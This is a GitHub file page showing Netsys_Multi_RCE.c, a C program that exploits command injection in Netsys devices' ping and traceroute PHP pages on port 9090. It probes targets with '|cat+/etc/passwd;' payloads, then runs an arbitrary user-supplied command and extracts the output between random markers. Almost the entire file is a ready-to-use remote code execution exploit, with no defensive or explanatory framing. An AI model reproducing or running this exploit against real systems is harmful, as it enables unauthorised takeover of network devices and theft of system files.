-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathNetsys_Multi_RCE.c
More file actions
137 lines (114 loc) · 4.72 KB
/
Netsys_Multi_RCE.c
File metadata and controls
137 lines (114 loc) · 4.72 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
// "Multiple Netsys
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <regex.h>
#define MAX_RESPONSE_SIZE 8192
#define TARGET_PORT 9090
// Function to create an HTTP GET request
void create_http_get_request(const char *target_ip, const char *path, char *request, size_t request_size) {
snprintf(request, request_size,
"GET %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Connection: close\r\n\r\n",
path, target_ip);
}
// Function to send an HTTP GET request and receive the response
int send_http_get_request(const char *target_ip, const char *path, char *response, size_t response_size) {
int sock;
struct sockaddr_in server_addr;
char request[2048];
int bytes_received;
// Create socket
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror("Socket creation failed");
return -1;
}
// Set up server address
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(TARGET_PORT);
inet_pton(AF_INET, target_ip, &server_addr.sin_addr);
// Connect to the server
if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("Connection failed");
close(sock);
return -1;
}
// Create and send the HTTP GET request
create_http_get_request(target_ip, path, request, sizeof(request));
send(sock, request, strlen(request), 0);
// Receive the response
memset(response, 0, response_size);
bytes_received = recv(sock, response, response_size - 1, 0);
close(sock);
if (bytes_received < 0) {
perror("Receive failed");
return -1;
}
response[bytes_received] = '\0'; // Null-terminate the response
return bytes_received;
}
// Function to check if the target is vulnerable
int check_vulnerability(const char *target_ip) {
const char *injections[] = {
"/view/IPV6/ipv6networktool/traceroute/ping.php?text_target=127.0.0.1&text_pingcount=1&text_packetsize=40|cat+/etc/passwd;",
"/view/systemConfig/systemTool/ping/ping.php?text_target=127.0.0.1&text_pingcount=1&text_packetsize=40|cat+/etc/passwd;",
"/view/systemConfig/systemTool/traceRoute/traceroute.php?text_target=127.0.0.1&text_ageout=2&text_minttl=1&text_maxttl=1|cat+/etc/passwd;"
};
char response[MAX_RESPONSE_SIZE];
for (int i = 0; i < sizeof(injections) / sizeof(injections[0]); i++) {
char path[512];
snprintf(path, sizeof(path), injections[i]);
if (send_http_get_request(target_ip, path, response, sizeof(response)) > 0) {
if (strstr(response, "root:") != NULL) { // Check for presence of "/etc/passwd"
return 1; // Target is vulnerable
}
}
}
return 0; // Target is not vulnerable
}
// Function to execute a command
void execute_command(const char *target_ip, const char *cmd) {
char marker[16];
snprintf(marker, sizeof(marker), "MARKER_%d", rand() % 10000); // Generate a random marker
char encoded_cmd[256];
snprintf(encoded_cmd, sizeof(encoded_cmd), "echo+%s; %s; echo+%s;", marker, cmd, marker);
const char *injections[] = {
"/view/IPV6/ipv6networktool/traceroute/ping.php?text_target=127.0.0.1&text_pingcount=1&text_packetsize=40|%s",
"/view/systemConfig/systemTool/ping/ping.php?text_target=127.0.0.1&text_pingcount=1&text_packetsize=40|%s",
"/view/systemConfig/systemTool/traceRoute/traceroute.php?text_target=127.0.0.1&text_ageout=2&text_minttl=1&text_maxttl=1|%s"
};
char response[MAX_RESPONSE_SIZE];
for (int i = 0; i < sizeof(injections) / sizeof(injections[0]); i++) {
char path[512];
snprintf(path, sizeof(path), injections[i], encoded_cmd);
if (send_http_get_request(target_ip, path, response, sizeof(response)) > 0) {
// Check for the output between the markers
char *start = strstr(response, marker);
char *end = strstr(start + strlen(marker), marker);
if (start && end) {
start += strlen(marker);
*end = '\0'; // Null-terminate the output
printf("Command output: %s\n", start);
return;
}
}
}
printf("No output received for the command.\n");
}
// Main function
int main(int argc, char *argv[]) {
if (argc != 3) {
fprintf(stderr, "Usage: %s <target_ip> <command>\n", argv[0]);
return EXIT_FAILURE;
}
const char *target_ip = argv[1]; // Target IP from command line argument
const char *cmd = argv[2]; // Command to execute from command line argument
if (check_vulnerability(target_ip)){
execute_command(target_ip, cmd);
}
return EXIT_SUCCESS;
}